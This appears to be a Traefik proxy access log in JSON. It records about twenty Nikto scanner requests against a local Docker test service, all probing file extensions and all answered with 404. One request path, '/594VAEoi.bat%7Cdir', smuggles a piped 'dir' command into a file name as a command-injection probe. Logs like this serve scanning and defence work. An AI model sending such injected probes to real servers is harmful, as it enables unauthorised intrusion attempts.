{"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":262803,"OriginContentSize":357,"OriginDuration":249790,"OriginStatus":200,"Overhead":13013,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":140,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.cgi+","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.507336055Z","StartUTC":"2021-12-08T14:02:43.507336055Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":360,"DownstreamStatus":404,"Duration":379585,"OriginContentSize":360,"OriginDuration":363568,"OriginStatus":200,"Overhead":16017,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":141,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.printer","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.509738585Z","StartUTC":"2021-12-08T14:02:43.509738585Z","downstream_Content-Length":"360","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"360","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":240376,"OriginContentSize":356,"OriginDuration":227041,"OriginStatus":200,"Overhead":13335,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":142,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.stm","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.511135394Z","StartUTC":"2021-12-08T14:02:43.511135394Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":217874,"OriginContentSize":356,"OriginDuration":207637,"OriginStatus":200,"Overhead":10237,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":143,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.cfm","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.512367309Z","StartUTC":"2021-12-08T14:02:43.512367309Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":359,"DownstreamStatus":404,"Duration":224377,"OriginContentSize":359,"OriginDuration":211392,"OriginStatus":200,"Overhead":12985,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":144,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.wwwacl","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.513440721Z","StartUTC":"2021-12-08T14:02:43.513440721Z","downstream_Content-Length":"359","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"359","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":361,"DownstreamStatus":404,"Duration":219219,"OriginContentSize":361,"OriginDuration":207830,"OriginStatus":200,"Overhead":11389,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":145,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.settings","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.514535251Z","StartUTC":"2021-12-08T14:02:43.514535251Z","downstream_Content-Length":"361","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"361","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":355,"DownstreamStatus":404,"Duration":224740,"OriginContentSize":355,"OriginDuration":209491,"OriginStatus":200,"Overhead":15249,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":146,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.js","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.515578037Z","StartUTC":"2021-12-08T14:02:43.515578037Z","downstream_Content-Length":"355","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"355","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":204472,"OriginContentSize":356,"OriginDuration":192116,"OriginStatus":200,"Overhead":12356,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":147,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.LOG","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.51663599Z","StartUTC":"2021-12-08T14:02:43.51663599Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":362,"DownstreamStatus":404,"Duration":239644,"OriginContentSize":362,"OriginDuration":226585,"OriginStatus":200,"Overhead":13059,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":148,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.bat%7Cdir","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.517668976Z","StartUTC":"2021-12-08T14:02:43.517668976Z","downstream_Content-Length":"362","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"362","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":359,"DownstreamStatus":404,"Duration":328450,"OriginContentSize":359,"OriginDuration":313106,"OriginStatus":200,"Overhead":15344,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":149,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.config","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.518992093Z","StartUTC":"2021-12-08T14:02:43.518992093Z","downstream_Content-Length":"359","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"359","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":353883,"OriginContentSize":357,"OriginDuration":337115,"OriginStatus":200,"Overhead":16768,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":150,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.show","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.520601114Z","StartUTC":"2021-12-08T14:02:43.520601114Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":360,"DownstreamStatus":404,"Duration":348032,"OriginContentSize":360,"OriginDuration":328231,"OriginStatus":200,"Overhead":19801,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":151,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.config~","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.524701187Z","StartUTC":"2021-12-08T14:02:43.524701187Z","downstream_Content-Length":"360","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"360","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":355,"DownstreamStatus":404,"Duration":273494,"OriginContentSize":355,"OriginDuration":256956,"OriginStatus":200,"Overhead":16538,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":152,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.AP","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.526305552Z","StartUTC":"2021-12-08T14:02:43.526305552Z","downstream_Content-Length":"355","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"355","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":310131,"OriginContentSize":357,"OriginDuration":294944,"OriginStatus":200,"Overhead":15187,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":153,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.php3","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.527515635Z","StartUTC":"2021-12-08T14:02:43.527515635Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":355,"DownstreamStatus":404,"Duration":313436,"OriginContentSize":355,"OriginDuration":297171,"OriginStatus":200,"Overhead":16265,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":154,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.pm","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.528899735Z","StartUTC":"2021-12-08T14:02:43.528899735Z","downstream_Content-Length":"355","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"355","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":549305,"OriginContentSize":356,"OriginDuration":530607,"OriginStatus":200,"Overhead":18698,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":155,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.cmd","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.530500314Z","StartUTC":"2021-12-08T14:02:43.530500314Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":401271,"OriginContentSize":356,"OriginDuration":378699,"OriginStatus":200,"Overhead":22572,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":156,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.PWD","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.53289347Z","StartUTC":"2021-12-08T14:02:43.53289347Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":287941,"OriginContentSize":356,"OriginDuration":272526,"OriginStatus":200,"Overhead":15415,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":157,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.dbc","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.534607631Z","StartUTC":"2021-12-08T14:02:43.534607631Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":356,"DownstreamStatus":404,"Duration":254604,"OriginContentSize":356,"OriginDuration":237463,"OriginStatus":200,"Overhead":17141,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":158,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.JSP","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.536030727Z","StartUTC":"2021-12-08T14:02:43.536030727Z","downstream_Content-Length":"356","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"356","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39490","ClientHost":"172.17.0.1","ClientPort":"39490","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":404,"Duration":259049,"OriginContentSize":357,"OriginDuration":242786,"OriginStatus":200,"Overhead":16263,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":159,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.html","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.53751721Z","StartUTC":"2021-12-08T14:02:43.53751721Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} 